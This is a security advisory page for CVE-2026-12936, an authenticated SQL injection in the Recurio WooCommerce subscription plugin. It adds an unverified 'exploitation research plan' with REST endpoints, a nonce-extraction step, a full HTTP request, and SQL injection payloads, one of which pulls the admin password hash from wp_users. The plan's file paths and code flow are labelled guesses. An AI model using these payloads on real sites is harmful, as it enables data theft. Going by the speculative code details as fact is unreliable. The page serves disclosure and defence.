CVE-2026-12936

Recurio <= 1.1.3 - Authenticated (Shop Manager+) SQL Injection via 'data' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
1.1.4
Patched in
6d
Time to patch

Description

The Recurio – Ultimate Subscription for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the 'data' parameter in all versions up to, and including, 1.1.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with shop manager-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.1.3
PublishedJuly 7, 2026
Last updatedJuly 13, 2026
Affected pluginrecurio

What Changed in the Fix

Changes introduced in v1.1.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2026-12936**, an authenticated SQL injection vulnerability in the **Recurio – Ultimate Subscription for WooCommerce** plugin. The vulnerability exists in the handling of the `data` parameter within the plugin's REST API endpoints. ### 1. Vulnerability S…

Show full research plan

This exploitation research plan targets CVE-2026-12936, an authenticated SQL injection vulnerability in the Recurio – Ultimate Subscription for WooCommerce plugin. The vulnerability exists in the handling of the data parameter within the plugin's REST API endpoints.

1. Vulnerability Summary

  • Vulnerability: Authenticated (Shop Manager+) SQL Injection via the data parameter.
  • Location: Likely within includes/api/Subscriptions.php or includes/api/Plans.php (REST API handlers).
  • Cause: The plugin accepts a data parameter (often used for filtering or reporting) and interpolates it directly into a SQL query string without using $wpdb->prepare() or proper escaping. This allows an authenticated attacker with "Shop Manager" privileges (who possesses the manage_woocommerce capability) to append arbitrary SQL commands.

2. Attack Vector Analysis

  • Endpoint: GET /wp-json/recurio/v1/subscriptions or GET /wp-json/recurio/v1/subscriptions/statistics.
  • Vulnerable Parameter: data.
  • Authentication Required: Logged-in user with Shop Manager role or higher (must have manage_woocommerce capability).
  • Nonce Requirements: Requires a valid wp_rest nonce passed in the X-WP-Nonce header.

3. Code Flow

  1. The Recurio\Api\Subscriptions class (or similar) registers REST routes in the recurio/v1 namespace (see includes/api/Subscriptions.php).
  2. The get_subscriptions or get_statistics method is invoked when the endpoint is accessed.
  3. The method retrieves the data parameter using $request->get_param('data').
  4. The parameter is used to build a $where clause or appended directly to a query string.
  5. The query is executed via $wpdb->get_results() or $wpdb->get_var().
  6. Because the data parameter is interpolated before the query is finalized, the attacker's input breaks the SQL syntax and injects new logic.

4. Nonce Acquisition Strategy

The REST API requires a wp_rest nonce for authentication. This nonce is generated by the plugin and localized for the Vue.js admin application.

  1. Setup Page: Create a page with the Recurio dashboard functionality to ensure scripts are enqueued (though any admin page might work if the plugin enqueues globally).
  2. Navigation: Log in as a Shop Manager and navigate to the Recurio admin menu: /wp-admin/admin.php?page=recurio.
  3. Extraction: The nonce is stored in the global recurioData object.
    • JS Variable: window.recurioData
    • Nonce Key: nonce
    • Action: Use browser_eval("window.recurioData?.nonce") to retrieve the value.

5. Exploitation Strategy

We will use a time-based SQL injection payload to confirm the vulnerability.

  • Step 1: Test Data Setup. Use WP-CLI to ensure at least one subscription exists so the query has rows to process.
  • Step 2: Authenticated Request. Send a request to the REST API with the data parameter containing the payload.

HTTP Request (Conceptual):

GET /wp-json/recurio/v1/subscriptions?data=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a) HTTP/1.1
Host: localhost:8080
X-WP-Nonce: [EXTRACTED_NONCE]
Cookie: [SHOP_MANAGER_COOKIES]

Payloads to Test:

  1. Time-Based (Simple): data=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  2. Time-Based (Breaking out of string): data=') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1
  3. Error-Based (if debug enabled): data=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1)),1)

6. Test Data Setup

  1. User Creation:
    wp user create shopmanager manager@example.com --role=shop_manager --user_pass=password123
    
  2. Sample Data: Ensure the Recurio tables are populated.
    # Create a product and enable Recurio (meta key from Admin.php)
    POST_ID=$(wp post create --post_type=product --post_title="Subscription Product" --post_status=publish --porcelain)
    wp post meta add $POST_ID _recurio_subscription_enabled "yes"
    

7. Expected Results

  • Vulnerable: The HTTP response will be delayed by approximately 5 seconds.
  • Not Vulnerable: The response will return immediately (likely with a 200 OK or 400 Bad Request if the parameter is rejected).

8. Verification Steps

After confirming with time-based injection, verify the ability to extract data:

  1. Attempt to extract the database version:
    data=1 AND (SELECT 1 FROM (SELECT(SLEEP(IF(VERSION() LIKE '8%', 5, 0))))a)
  2. Check for row existence in the wp_users table:
    data=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a WHERE (SELECT user_login FROM wp_users WHERE ID=1)='admin')

9. Alternative Approaches

If the subscriptions endpoint is not vulnerable, test other REST routes registered in includes/api/Plans.php or includes/api/Subscriptions.php:

  • /wp-json/recurio/v1/plans
  • /wp-json/recurio/v1/subscriptions/statistics
  • /wp-json/recurio/v1/customers/statistics
  • /wp-json/recurio/v1/products (Check if it accepts a data parameter for filtering categories/tags).

Note: If the injection point is inside an ORDER BY or LIMIT clause, prepare() cannot be used, making these sections highly prone to this specific vulnerability description ("lack of sufficient preparation"). Check if data is used to specify sorting.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.